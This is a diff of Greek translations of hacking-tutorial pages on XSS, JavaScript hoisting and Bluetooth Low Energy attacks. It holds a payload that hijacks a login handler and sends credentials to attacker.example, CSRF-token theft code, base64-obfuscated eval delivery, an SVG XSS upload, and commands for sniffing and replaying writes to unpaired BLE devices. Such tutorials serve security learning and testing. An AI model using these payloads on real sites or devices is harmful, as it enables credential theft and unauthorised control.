If a critical handler (e.g., `function DoLogin(){...}`) is declared later in the page, and your payload runs earlier (e.g., via an inline JS-in-JS sink), define a `const` with the same name first to preempt and lock the handler. Later function declarations cannot rebind a `const` name, leaving your hook in control:
|
||||
Αν ένας κρίσιμος handler (π.χ., `function DoLogin(){...}`) δηλώνεται αργότερα στη σελίδα, και το payload σας τρέχει νωρίτερα (π.χ., μέσω ενός inline JS-in-JS sink), ορίστε πρώτα ένα `const` με το ίδιο όνομα για να προλάβετε και να κλειδώσετε τον handler. Μετέπειτα δηλώσεις function δεν μπορούν να rebind ένα `const` όνομα, αφήνοντας το hook σας υπό έλεγχο:
|
||||
```javascript
|
||||
const DoLogin = () => {
|
||||
const pwd = Trim(FormInput.InputPassword.value);
|
||||
@ -1434,8 +1433,8 @@ fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURICom
|
||||
};
|
||||
```
|
||||
Σημειώσεις
|
||||
- Αυτό βασίζεται στη σειρά εκτέλεσης: η injection σας πρέπει να εκτελεστεί πριν από τη νόμιμη δήλωση.
|
||||
- Αν το payload σας είναι τυλιγμένο σε `eval(...)`, οι δεσμεύσεις `const/let` δεν θα γίνουν global. Χρησιμοποιήστε την dynamic `<script>` injection τεχνική από την ενότητα “Deliverable payloads with eval(atob()) and scope nuances” για να εξασφαλίσετε μια πραγματική global, μη-επαναδεσμεύσιμη δέσμευση.
|
||||
- Αυτό βασίζεται στη σειρά εκτέλεσης: your injection πρέπει να εκτελεστεί πριν από την νόμιμη δήλωση.
|
||||
- Αν το payload σας είναι τυλιγμένο σε `eval(...)`, οι δεσμεύσεις `const/let` δεν θα γίνουν globals. Χρησιμοποιήστε τη δυναμική `<script>` injection τεχνική από την ενότητα “Deliverable payloads with eval(atob()) and scope nuances” για να εξασφαλίσετε μια αληθινή global, μη-επαναδεσμεύσιμη δεσμεύση.
|
||||
- Όταν φίλτρα λέξεων-κλειδιών μπλοκάρουν κώδικα, συνδυάστε με Unicode-escaped identifiers ή παράδοση `eval(atob('...'))`, όπως φαίνεται παραπάνω.
|
||||
|
||||
### Keylogger
|
||||
@ -1447,7 +1446,7 @@ fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURICom
|
||||
- [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger)
|
||||
- Μπορείτε επίσης να χρησιμοποιήσετε το metasploit `http_javascript_keylogger`
|
||||
|
||||
### Stealing CSRF tokens
|
||||
### Κλοπή CSRF tokens
|
||||
```javascript
|
||||
<script>
|
||||
var req = new XMLHttpRequest();
|
||||
@ -1560,7 +1559,7 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln
|
||||
```
|
||||
### Regex - Πρόσβαση σε Κρυφό Περιεχόμενο
|
||||
|
||||
Από [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) μπορεί κανείς να μάθει ότι, ακόμη κι αν κάποιες τιμές εξαφανιστούν από το JS, εξακολουθεί να είναι δυνατό να τις βρει κανείς σε JS attributes μέσα σε διαφορετικά objects. Για παράδειγμα, ένα input ενός REGEX εξακολουθεί να μπορεί να εντοπιστεί ακόμη και μετά την αφαίρεση της τιμής του input του regex:
|
||||
From [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) μπορεί κανείς να μάθει ότι ακόμη και αν μερικές τιμές εξαφανιστούν από το JS, εξακολουθεί να είναι δυνατό να τις βρει κανείς σε JS attributes σε διαφορετικά objects. Για παράδειγμα, ένα input ενός REGEX εξακολουθεί να είναι δυνατό να βρεθεί μετά την αφαίρεση της τιμής του input του regex:
|
||||
```javascript
|
||||
// Do regex with flag
|
||||
flag = "CTF{FLAG}"
|
||||
@ -1577,18 +1576,18 @@ console.log(
|
||||
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
|
||||
)
|
||||
```
|
||||
### Brute-Force List
|
||||
### Brute-Force Λίστα
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
|
||||
{{#endref}}
|
||||
|
||||
## XSS Κατάχρηση άλλων ευπαθειών
|
||||
## XSS Εκμετάλλευση άλλων ευπαθειών
|
||||
|
||||
### XSS στο Markdown
|
||||
### XSS σε Markdown
|
||||
|
||||
Μπορείς να εισάγεις κώδικα Markdown που θα αποδοθεί; Ίσως έτσι να προκύψει XSS! Έλεγξε:
|
||||
Μπορεί να εισάγει κώδικα Markdown που θα αποδοθεί; Ίσως να καταφέρετε XSS! Δείτε:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -1597,41 +1596,41 @@ xss-in-markdown.md
|
||||
|
||||
### XSS σε SSRF
|
||||
|
||||
Βρήκες XSS σε έναν **ιστότοπο που χρησιμοποιεί caching**; Δοκίμασε να **το αναβαθμίσεις σε SSRF** μέσω Edge Side Include Injection με αυτό το payload:
|
||||
Έχετε XSS σε **ιστότοπο που χρησιμοποιεί caching**; Δοκιμάστε **να το αναβαθμίσετε σε SSRF** μέσω Edge Side Include Injection με αυτό το payload:
|
||||
```python
|
||||
<esi:include src="http://yoursite.com/capture" />
|
||||
```
|
||||
Χρησιμοποίησέ το για να παρακάμψεις περιορισμούς cookie, XSS φίλτρα και πολλά ακόμα!\
|
||||
Περισσότερες πληροφορίες για αυτήν την τεχνική εδώ: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
|
||||
Use it to bypass cookie restrictions, XSS filters and much more!\
|
||||
More information about this technique here: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
|
||||
|
||||
### XSS σε δυναμικά δημιουργημένο PDF
|
||||
|
||||
Αν μια ιστοσελίδα δημιουργεί ένα PDF χρησιμοποιώντας δεδομένα που ελέγχονται από τον χρήστη, μπορείς να προσπαθήσεις να **ξεγελάσεις το bot** που δημιουργεί το PDF ώστε να **εκτελέσει αυθαίρετο JS κώδικα**.\
|
||||
Έτσι, αν το **PDF creator bot εντοπίσει** κάποιο είδος **HTML tags**, θα τα **ερμηνεύσει**, και μπορείς να **κακοχρησιμοποιήσεις** αυτή τη συμπεριφορά για να προκαλέσεις **Server XSS**.
|
||||
Αν μια σελίδα δημιουργεί ένα PDF χρησιμοποιώντας input που ελέγχεται από τον χρήστη, μπορείτε να προσπαθήσετε να **ξεγελάσετε το bot** που δημιουργεί το PDF ώστε να **εκτελέσει αυθαίρετο JS κώδικα**.\
|
||||
Άρα, εάν το **PDF creator bot βρει** κάποιο είδος **HTML tags**, θα τα **ερμηνεύσει**, και μπορείτε να **εκμεταλλευτείτε** αυτή τη συμπεριφορά για να προκαλέσετε **Server XSS**.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
server-side-xss-dynamic-pdf.md
|
||||
{{#endref}}
|
||||
|
||||
Αν δεν μπορείς να εισάγεις HTML tags, μπορεί να αξίζει να δοκιμάσεις να **inject PDF data**:
|
||||
Αν δεν μπορείτε να εισάγετε HTML tags, ίσως αξίζει να δοκιμάσετε να **inject PDF data**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
pdf-injection.md
|
||||
{{#endref}}
|
||||
|
||||
### XSS in Amp4Email
|
||||
### XSS σε Amp4Email
|
||||
|
||||
Το AMP, που στοχεύει στην επιτάχυνση της απόδοσης ιστοσελίδων σε κινητές συσκευές, ενσωματώνει HTML tags συμπληρωμένα με JavaScript για να εξασφαλίσει λειτουργικότητα με έμφαση στην ταχύτητα και την ασφάλεια. Υποστηρίζει μια σειρά από components για διάφορες λειτουργίες, προσβάσιμα μέσω [AMP components](https://amp.dev/documentation/components/?format=websites).
|
||||
Το AMP, με στόχο την επιτάχυνση της απόδοσης ιστοσελίδων σε κινητές συσκευές, ενσωματώνει HTML tags συμπληρωμένα με JavaScript για να διασφαλίσει λειτουργικότητα με έμφαση στην ταχύτητα και την ασφάλεια. Υποστηρίζει μια σειρά από components για διάφορες λειτουργίες, προσβάσιμα μέσω [AMP components](https://amp.dev/documentation/components/?format=websites).
|
||||
|
||||
Η [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) μορφή επεκτείνει συγκεκριμένα AMP components στα email, επιτρέποντας στους παραλήπτες να αλληλεπιδρούν με το περιεχόμενο απευθείας μέσα στα email τους.
|
||||
Η μορφή [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) επεκτείνει συγκεκριμένα AMP components σε emails, επιτρέποντας στους παραλήπτες να αλληλεπιδρούν με το περιεχόμενο απευθείας μέσα στα email τους.
|
||||
|
||||
Παράδειγμα [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
|
||||
Example [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
|
||||
|
||||
### XSS uploading files (svg)
|
||||
|
||||
Ανέβασε ως εικόνα ένα αρχείο σαν το παρακάτω (από [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
|
||||
Ανεβάστε ως εικόνα ένα αρχείο όπως το παρακάτω (από [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
|
||||
```html
|
||||
Content-Type: multipart/form-data; boundary=---------------------------232181429808
|
||||
Content-Length: 574
|
||||
@ -1696,7 +1695,7 @@ id="foo"/>
|
||||
other-js-tricks.md
|
||||
{{#endref}}
|
||||
|
||||
## Πόροι XSS
|
||||
## XSS πόροι
|
||||
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection)
|
||||
- [http://www.xss-payloads.com](http://www.xss-payloads.com) [https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt](https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt) [https://github.com/materaj/xss-list](https://github.com/materaj/xss-list)
|
||||
|
||||
@ -2,31 +2,31 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Βασικές Πληροφορίες
|
||||
## Basic Information
|
||||
|
||||
Στη γλώσσα JavaScript, υπάρχει ένας μηχανισμός γνωστός ως **Hoisting** όπου οι δηλώσεις μεταβλητών, συναρτήσεων, κλάσεων ή imports θεωρητικά ανυψώνονται στην κορυφή του scope τους πριν εκτελεστεί ο κώδικας. Αυτή η διαδικασία γίνεται αυτόματα από τη μηχανή JavaScript, η οποία επεξεργάζεται το script σε πολλαπλές διελεύσεις.
|
||||
Στη γλώσσα JavaScript, υπάρχει ένας μηχανισμός γνωστός ως **Hoisting** όπου οι δηλώσεις μεταβλητών, συναρτήσεων, κλάσεων ή imports τοποθετούνται εννοιολογικά στην κορυφή του scope τους πριν εκτελεστεί ο κώδικας. Αυτή η διαδικασία εκτελείται αυτόματα από τη JavaScript engine, η οποία επεξεργάζεται το script σε πολλαπλές διελεύσεις.
|
||||
|
||||
Κατά την πρώτη διέλευση, η μηχανή καταχωρεί τον κώδικα για να ελέγξει για συντακτικά λάθη και τον μετασχηματίζει σε ένα abstract syntax tree. Αυτή η φάση περιλαμβάνει το hoisting, μια διαδικασία όπου ορισμένες δηλώσεις μετακινούνται στην κορυφή του execution context. Αν η φάση parsing περάσει επιτυχώς, δηλαδή δεν υπάρχουν συντακτικά λάθη, προχωρά η εκτέλεση του script.
|
||||
Κατά την πρώτη διελεύση, η engine κάνει parsing του κώδικα για να ελέγξει για syntax errors και τον μετασχηματίζει σε ένα abstract syntax tree. Αυτή η φάση περιλαμβάνει το hoisting, μια διαδικασία όπου ορισμένες δηλώσεις μετακινούνται στην κορυφή του execution context. Εάν η φάση parsing είναι επιτυχής, δηλαδή δεν υπάρχουν syntax errors, τότε συνεχίζεται η εκτέλεση του script.
|
||||
|
||||
Είναι κρίσιμο να κατανοήσουμε ότι:
|
||||
|
||||
1. Το script πρέπει να είναι ελεύθερο από συντακτικά λάθη για να συμβεί εκτέλεση. Οι κανόνες σύνταξης πρέπει να τηρούνται αυστηρά.
|
||||
2. Η τοποθέτηση του κώδικα μέσα στο script επηρεάζει την εκτέλεση λόγω του hoisting, αν και ο εκτελούμενος κώδικας μπορεί να διαφέρει από την κειμενική του αναπαράσταση.
|
||||
1. Το script πρέπει να είναι χωρίς syntax errors για να συμβεί η εκτέλεση. Οι κανόνες σύνταξης πρέπει να τηρούνται αυστηρά.
|
||||
2. Η τοποθέτηση του κώδικα μέσα στο script επηρεάζει την εκτέλεση λόγω του hoisting, αν και ο εκτελεσμένος κώδικας μπορεί να διαφέρει από την κειμενική του αναπαράσταση.
|
||||
|
||||
#### Τύποι του Hoisting
|
||||
#### Types of Hoisting
|
||||
|
||||
Βάσει των πληροφοριών από MDN, υπάρχουν τέσσερις διακριτοί τύποι hoisting στη JavaScript:
|
||||
Με βάση τις πληροφορίες από το MDN, υπάρχουν τέσσερις διακριτοί τύποι hoisting στη JavaScript:
|
||||
|
||||
1. **Value Hoisting**: Επιτρέπει τη χρήση της τιμής μιας μεταβλητής μέσα στο scope πριν από τη γραμμή της δήλωσής της.
|
||||
2. **Declaration Hoisting**: Επιτρέπει την αναφορά σε μια μεταβλητή μέσα στο scope πριν από τη δήλωσή της χωρίς να προκαλεί `ReferenceError`, αλλά η τιμή της μεταβλητής θα είναι `undefined`.
|
||||
3. Αυτός ο τύπος αλλάζει τη συμπεριφορά μέσα στο scope λόγω της δήλωσης της μεταβλητής πριν από την πραγματική γραμμή δήλωσής της.
|
||||
4. Οι παρενέργειες της δήλωσης συμβαίνουν πριν αξιολογηθεί το υπόλοιπο του κώδικα που την περιέχει.
|
||||
1. **Value Hoisting**: Επιτρέπει τη χρήση της τιμής μιας μεταβλητής μέσα στο scope της πριν από τη γραμμή δήλωσής της.
|
||||
2. **Declaration Hoisting**: Επιτρέπει την αναφορά σε μια μεταβλητή μέσα στο scope της πριν από τη δήλωσή της χωρίς να προκαλεί `ReferenceError`, αλλά η τιμή της μεταβλητής θα είναι `undefined`.
|
||||
3. Αυτός ο τύπος αλλάζει τη συμπεριφορά μέσα στο scope του λόγω της δήλωσης της μεταβλητής πριν από την πραγματική γραμμή δήλωσης.
|
||||
4. Οι παρενέργειες της δήλωσης συμβαίνουν πριν αξιολογηθεί το υπόλοιπο μέρος του κώδικα που την περιέχει.
|
||||
|
||||
Ενδεικτικά, οι δηλώσεις συναρτήσεων εμφανίζουν συμπεριφορά hoisting τύπου 1. Η λέξη-κλειδί `var` δείχνει συμπεριφορά τύπου 2. Οι lexical declarations, που περιλαμβάνουν `let`, `const`, και `class`, δείχνουν συμπεριφορά τύπου 3. Τέλος, οι δηλώσεις `import` είναι μοναδικές στο ότι hoistάρονται με συμπεριφορές τόσο τύπου 1 όσο και τύπου 4.
|
||||
Συγκεκριμένα, οι function declarations παρουσιάζουν συμπεριφορά hoisting τύπου 1. Η λέξη-κλειδί `var` παρουσιάζει συμπεριφορά τύπου 2. Οι lexical declarations, που περιλαμβάνουν `let`, `const` και `class`, εμφανίζουν συμπεριφορά τύπου 3. Τέλος, οι `import` δηλώσεις είναι μοναδικές καθώς ανυψώνονται (hoisted) με συμπεριφορές τόσο τύπου 1 όσο και τύπου 4.
|
||||
|
||||
## Σενάρια
|
||||
## Scenarios
|
||||
|
||||
Επομένως, αν έχετε σενάρια όπου μπορείτε να **Inject JS code after an undeclared object** χρησιμοποιείται, μπορείτε να **fix the syntax** δηλώνοντάς το (ώστε ο κώδικάς σας να εκτελεστεί αντί να πετάξει σφάλμα):
|
||||
Επομένως, αν έχετε σενάρια όπου μπορείτε να **Inject JS code after an undeclared object** is used, μπορείτε να **fix the syntax** δηλώνοντάς το (έτσι ο κώδικάς σας θα εκτελεστεί αντί να πετάξει σφάλμα):
|
||||
```javascript
|
||||
// The function vulnerableFunction is not defined
|
||||
vulnerableFunction('test', '<INJECTION>');
|
||||
@ -131,7 +131,7 @@ trigger()
|
||||
```
|
||||
### Προλάβετε μετέπειτα δηλώσεις κλειδώνοντας ένα όνομα με const
|
||||
|
||||
Αν μπορείτε να εκτελεστείτε πριν γίνει parsing ενός top-level `function foo(){...}`, η δήλωση μιας λεξικής δέσμευσης με το ίδιο όνομα (π.χ., `const foo = ...`) θα αποτρέψει τη μετέπειτα δήλωση function από το να επαναδεσμεύσει αυτόν τον αναγνωριστή. Αυτό μπορεί να καταχραστεί σε RXSS για να υποκλέψει κρίσιμους handlers που ορίζονται αργότερα στη σελίδα:
|
||||
Αν μπορείτε να εκτελέσετε πριν αναλυθεί μια κορυφαία `function foo(){...}`, η δήλωση μιας λεξικής δέσμευσης με το ίδιο όνομα (π.χ., `const foo = ...`) θα αποτρέψει τη μετέπειτα δήλωση συνάρτησης από το να επαναδεσμεύσει αυτό το αναγνωριστικό. Αυτό μπορεί να καταχραστεί σε RXSS για να αρπάξει κρίσιμους handlers που ορίζονται αργότερα στη σελίδα:
|
||||
```javascript
|
||||
// Malicious code runs first (e.g., earlier inline <script>)
|
||||
const DoLogin = () => {
|
||||
@ -145,7 +145,7 @@ function DoLogin(){ /* ... */ } // cannot override the existing const binding
|
||||
```
|
||||
Σημειώσεις
|
||||
- Αυτό βασίζεται στη σειρά εκτέλεσης και στο global (top-level) scope.
|
||||
- Αν το payload σας εκτελείται μέσα σε `eval()`, θυμηθείτε ότι οι `const/let` μέσα σε `eval` είναι block-scoped και δεν θα δημιουργήσουν global bindings. Εισάγετε ένα νέο `<script>` στοιχείο με τον κώδικα για να δημιουργήσετε έναν πραγματικό global `const`.
|
||||
- Εάν το payload σας εκτελείται μέσα σε `eval()`, να θυμάστε ότι τα `const/let` μέσα σε `eval` είναι block-scoped και δεν θα δημιουργήσουν global bindings. Εισάγετε ένα νέο στοιχείο `<script>` με τον κώδικα για να δημιουργήσετε ένα πραγματικό global `const`.
|
||||
|
||||
## Αναφορές
|
||||
|
||||
|
||||
@ -2,23 +2,23 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Εισαγωγή
|
||||
## Introduction
|
||||
|
||||
Διαθέσιμο από την προδιαγραφή Bluetooth 4.0, το BLE χρησιμοποιεί μόνο 40 κανάλια, καλύπτοντας το εύρος 2400 έως 2483.5 MHz. Αντίθετα, το παραδοσιακό Bluetooth χρησιμοποιεί 79 κανάλια στο ίδιο εύρος.
|
||||
Διαθέσιμο από την προδιαγραφή Bluetooth 4.0, το BLE χρησιμοποιεί μόνο 40 κανάλια, καλύπτοντας το εύρος 2400 έως 2483.5 MHz. Αντιθέτως, το παραδοσιακό Bluetooth χρησιμοποιεί 79 κανάλια στο ίδιο εύρος.
|
||||
|
||||
Οι συσκευές BLE επικοινωνούν στέλνοντας **advertising packets** (**beacons**). Αυτά τα πακέτα αναμεταδίδουν την ύπαρξη της συσκευής BLE σε άλλες κοντινές συσκευές. Αυτά τα beacons μερικές φορές επίσης **στέλνουν δεδομένα**.
|
||||
Οι συσκευές BLE επικοινωνούν στέλνοντας **advertising packets** (**beacons**), αυτά τα πακέτα εκπέμπουν την ύπαρξη της συσκευής BLE σε άλλες κοντινές συσκευές. Αυτά τα beacons μερικές φορές επίσης **στέλνουν δεδομένα**.
|
||||
|
||||
Η συσκευή που ακούει, επίσης ονομαζόμενη central device, μπορεί να ανταποκριθεί σε ένα advertising packet με ένα **SCAN request** που αποστέλλεται ειδικά στη διαφημιζόμενη συσκευή. Η **response** σε αυτή τη σάρωση χρησιμοποιεί την ίδια δομή με το **advertising** packet, με επιπλέον πληροφορίες που δεν χωρούσαν στο αρχικό advertising request, όπως το πλήρες όνομα της συσκευής.
|
||||
Η συσκευή που ακούει, επίσης ονομαζόμενη κεντρική συσκευή, μπορεί να απαντήσει σε ένα advertising packet με ένα **SCAN request** που στέλνεται ειδικά στη διαφημιζόμενη συσκευή. Η **απάντηση** σε αυτό το scan χρησιμοποιεί την ίδια δομή με το **advertising** packet με επιπλέον πληροφορίες που δεν χωρούσαν στο αρχικό advertising request, όπως το πλήρες όνομα της συσκευής.
|
||||
|
||||
.png>)
|
||||
|
||||
Το byte του preamble συγχρονίζει τη συχνότητα, ενώ η τετρα-μπαϊτ διεύθυνση πρόσβασης είναι ένας **connection identifier**, ο οποίος χρησιμοποιείται σε σενάρια όπου πολλές συσκευές προσπαθούν να δημιουργήσουν connections στα ίδια κανάλια. Στη συνέχεια, το Protocol Data Unit (**PDU**) περιέχει τα **advertising data**. Υπάρχουν διάφοροι τύποι PDU· οι πιο συχνά χρησιμοποιούμενοι είναι οι ADV_NONCONN_IND και ADV_IND. Οι συσκευές χρησιμοποιούν τον τύπο PDU **ADV_NONCONN_IND** εάν δεν δέχονται connections, μεταδίδοντας δεδομένα μόνο στο advertising packet. Οι συσκευές χρησιμοποιούν **ADV_IND** εάν επιτρέπουν connections και σταματούν να στέλνουν advertising packets μόλις μια connection έχει εγκατασταθεί.
|
||||
Το preamble byte συγχρονίζει τη συχνότητα, ενώ η τετρα-μπαϊτ access address είναι ένας **connection identifier**, που χρησιμοποιείται σε σενάρια όπου πολλές συσκευές προσπαθούν να δημιουργήσουν συνδέσεις στα ίδια κανάλια. Στη συνέχεια, το Protocol Data Unit (**PDU**) περιέχει τα **advertising data**. Υπάρχουν διάφοροι τύποι PDU· οι πιο συχνά χρησιμοποιούμενοι είναι οι ADV_NONCONN_IND και ADV_IND. Οι συσκευές χρησιμοποιούν τον τύπο PDU **ADV_NONCONN_IND** αν **δεν αποδέχονται συνδέσεις**, μεταδίδοντας δεδομένα μόνο στο advertising packet. Οι συσκευές χρησιμοποιούν **ADV_IND** αν **επιτρέπουν συνδέσεις** και **παύουν να στέλνουν advertising** πακέτα μόλις μια **σύνδεση** έχει **εγκαθιδρυθεί**.
|
||||
|
||||
### GATT
|
||||
|
||||
Το **Generic Attribute Profile** (GATT) ορίζει πώς η **συσκευή θα πρέπει να μορφοποιεί και να μεταφέρει δεδομένα**. Όταν αναλύετε την attack surface μιας συσκευής BLE, συχνά εστιάζετε την προσοχή σας στο GATT (ή στα GATTs), επειδή είναι ο τρόπος με τον οποίο **ενεργοποιείται η λειτουργικότητα της συσκευής** και πώς τα δεδομένα αποθηκεύονται, ομαδοποιούνται και τροποποιούνται. Το GATT απαριθμεί τα characteristics, descriptors και services μιας συσκευής σε έναν πίνακα ως τιμές 16- ή 32-bit. Ένα **characteristic** είναι μια **τιμή δεδομένων** που **αποστέλλεται** μεταξύ του central device και του peripheral. Αυτά τα characteristics μπορούν να έχουν **descriptors** που **παρέχουν επιπλέον πληροφορίες γι' αυτά**. Τα **characteristics** συχνά **ομαδοποιούνται** σε **services** αν σχετίζονται με την εκτέλεση μιας συγκεκριμένης ενέργειας.
|
||||
Η **Generic Attribute Profile** (GATT) ορίζει πώς η **συσκευή πρέπει να μορφοποιεί και να μεταφέρει δεδομένα**. Όταν αναλύετε την επιφάνεια επίθεσης μιας συσκευής BLE, συχνά θα εστιάσετε στο GATT (ή τα GATT), επειδή είναι ο τρόπος με τον οποίο **η λειτουργικότητα της συσκευής ενεργοποιείται** και με τον οποίο τα δεδομένα αποθηκεύονται, ομαδοποιούνται και τροποποιούνται. Το GATT απαριθμεί τα χαρακτηριστικά, τα descriptors και τις services μιας συσκευής σε έναν πίνακα ως τιμές 16- ή 32-bit. Μια **characteristic** είναι μια **τιμή δεδομένων** που **αποστέλλεται** μεταξύ της κεντρικής συσκευής και του peripheral. Αυτές οι characteristics μπορούν να έχουν **descriptors** που **παρέχουν επιπλέον πληροφορίες γι' αυτές**. Οι **characteristics** συχνά **ομαδοποιούνται** σε **services** αν σχετίζονται με την εκτέλεση μιας συγκεκριμένης ενέργειας.
|
||||
|
||||
## Enumeration
|
||||
## Καταγραφή
|
||||
```bash
|
||||
hciconfig #Check config, check if UP or DOWN
|
||||
# If DOWN try:
|
||||
@ -30,7 +30,7 @@ spooftooph -i hci0 -a 11:22:33:44:55:66
|
||||
```
|
||||
### GATTool
|
||||
|
||||
**GATTool** επιτρέπει να **εγκαθιδρύσει** μια **σύνδεση** με άλλη συσκευή, να απαριθμήσει τα **χαρακτηριστικά** της συσκευής και να διαβάσει και να γράψει τις ιδιότητές της.\
|
||||
**GATTool** επιτρέπει να **εγκαθιδρύσει** μια **σύνδεση** με άλλη συσκευή, απαριθμώντας τα **χαρακτηριστικά** της συσκευής, και διαβάζοντας και γράφοντας τις ιδιότητές της.\
|
||||
GATTTool μπορεί να ξεκινήσει ένα διαδραστικό shell με την επιλογή `-I`:
|
||||
```bash
|
||||
gatttool -i hci0 -I
|
||||
@ -64,15 +64,15 @@ sudo bettercap --eval "ble.recon on"
|
||||
>> ble.write <MAC ADDR> <UUID> <HEX DATA>
|
||||
>> ble.write <mac address of device> ff06 68656c6c6f # Write "hello" in ff06
|
||||
```
|
||||
## Sniffing και ενεργός έλεγχος μη-ζευγοποιημένων συσκευών BLE
|
||||
## Sniffing and actively controlling unpaired BLE devices
|
||||
|
||||
Πολλές περιφερειακές συσκευές BLE χαμηλού κόστους δεν εφαρμόζουν pairing/bonding. Χωρίς bonding, το Link Layer encryption δεν ενεργοποιείται ποτέ, οπότε η ATT/GATT κίνηση είναι σε cleartext. Ένας off-path sniffer μπορεί να παρακολουθήσει τη σύνδεση, να αποκωδικοποιήσει τις GATT operations για να μάθει τα characteristic handles και values, και οποιοσδήποτε κοντινός host μπορεί στη συνέχεια να συνδεθεί και να replay-άρει αυτά τα writes για να ελέγξει τη συσκευή.
|
||||
Many low-cost BLE peripherals do not enforce pairing/bonding. Without bonding, the Link Layer encryption is never enabled, so ATT/GATT traffic is in cleartext. An off-path sniffer can follow the connection, decode GATT operations to learn characteristic handles and values, and any nearby host can then connect and replay those writes to control the device.
|
||||
|
||||
### Sniffing with Sniffle (CC26x2/CC1352)
|
||||
|
||||
Υλικό: Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352) επαναπρογραμματισμένο με το Sniffle firmware της NCC Group.
|
||||
Υλικό: Ένα Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352) που έχει ξαναφλασαριστεί με το Sniffle firmware της NCC Group.
|
||||
|
||||
Install Sniffle and its Wireshark extcap on Linux:
|
||||
Εγκαταστήστε το Sniffle και το Wireshark extcap του σε Linux:
|
||||
```bash
|
||||
if [ ! -d /opt/sniffle/Sniffle-1.10.0/python_cli ]; then
|
||||
echo "[+] - Sniffle not installed! Installing at 1.10.0..."
|
||||
@ -91,7 +91,7 @@ else
|
||||
echo "[+] - Sniffle already installed at 1.10.0"
|
||||
fi
|
||||
```
|
||||
Flash Sonoff with Sniffle firmware (βεβαιώσου ότι η σειριακή σου συσκευή ταιριάζει, π.χ. /dev/ttyUSB0):
|
||||
Flash Sonoff with Sniffle firmware (βεβαιωθείτε ότι η σειριακή συσκευή σας είναι σωστή, π.χ. /dev/ttyUSB0):
|
||||
```bash
|
||||
pushd /opt/sniffle/
|
||||
wget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex
|
||||
@ -104,13 +104,13 @@ python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc
|
||||
deactivate
|
||||
popd
|
||||
```
|
||||
Καταγράψτε στο Wireshark μέσω του Sniffle extcap και μεταβείτε γρήγορα σε εγγραφές που αλλάζουν κατάσταση φιλτράροντας:
|
||||
Καταγράψτε στο Wireshark μέσω του Sniffle extcap και γρήγορα pivot σε state-changing writes φιλτράροντας:
|
||||
```text
|
||||
_ws.col.info contains "Sent Write Command"
|
||||
```
|
||||
Αυτό επισημαίνει τα ATT Write Commands από τον client; το handle και το value συχνά αντιστοιχούν άμεσα σε ενέργειες της συσκευής (π.χ., write 0x01 σε ένα buzzer/alert characteristic, 0x00 για διακοπή).
|
||||
Αυτό επισημαίνει τα ATT Write Commands από τον client; το handle και το value συχνά αντιστοιχούν άμεσα σε ενέργειες της συσκευής (π.χ., write 0x01 σε buzzer/alert characteristic, 0x00 για stop).
|
||||
|
||||
Γρήγορα παραδείγματα Sniffle CLI:
|
||||
Sniffle CLI γρήγορα παραδείγματα:
|
||||
```bash
|
||||
python3 scanner.py --output scan.pcap
|
||||
# Only devices with very strong signal
|
||||
@ -118,15 +118,15 @@ python3 scanner.py --rssi -40
|
||||
# Filter advertisements containing a string
|
||||
python3 sniffer.py --string "banana" --output sniff.pcap
|
||||
```
|
||||
Εναλλακτικό sniffer: Nordic’s nRF Sniffer for BLE + Wireshark plugin λειτουργεί επίσης. Σε μικρά/φθηνά Nordic dongles συνήθως overwrite το USB bootloader για να φορτώσετε το sniffer firmware, οπότε είτε κρατάτε ένα αποκλειστικό sniffer dongle είτε χρειάζεστε J-Link/JTAG για να επαναφέρετε το bootloader αργότερα.
|
||||
Εναλλακτικός sniffer: Nordic’s nRF Sniffer for BLE + Wireshark plugin λειτουργεί επίσης. Σε μικρά/φθηνά Nordic dongles συνήθως αντικαθιστάτε το USB bootloader για να φορτώσετε το sniffer firmware, οπότε είτε κρατάτε ένα αφιερωμένο sniffer dongle είτε χρειάζεστε J-Link/JTAG για να επαναφέρετε τον bootloader αργότερα.
|
||||
|
||||
### Ενεργός έλεγχος μέσω GATT
|
||||
|
||||
Μόλις εντοπίσετε ένα writable characteristic handle και value από την sniffed traffic, συνδεθείτε ως οποιοδήποτε central και εκτελέστε το ίδιο write:
|
||||
Μόλις εντοπίσετε ένα writable characteristic handle και value από το sniffed traffic, συνδεθείτε ως οποιοδήποτε central και εκτελέστε το ίδιο write:
|
||||
|
||||
- Με Nordic nRF Connect for Desktop (BLE app):
|
||||
- Επιλέξτε το nRF52/nRF52840 dongle, scan και connect στον στόχο.
|
||||
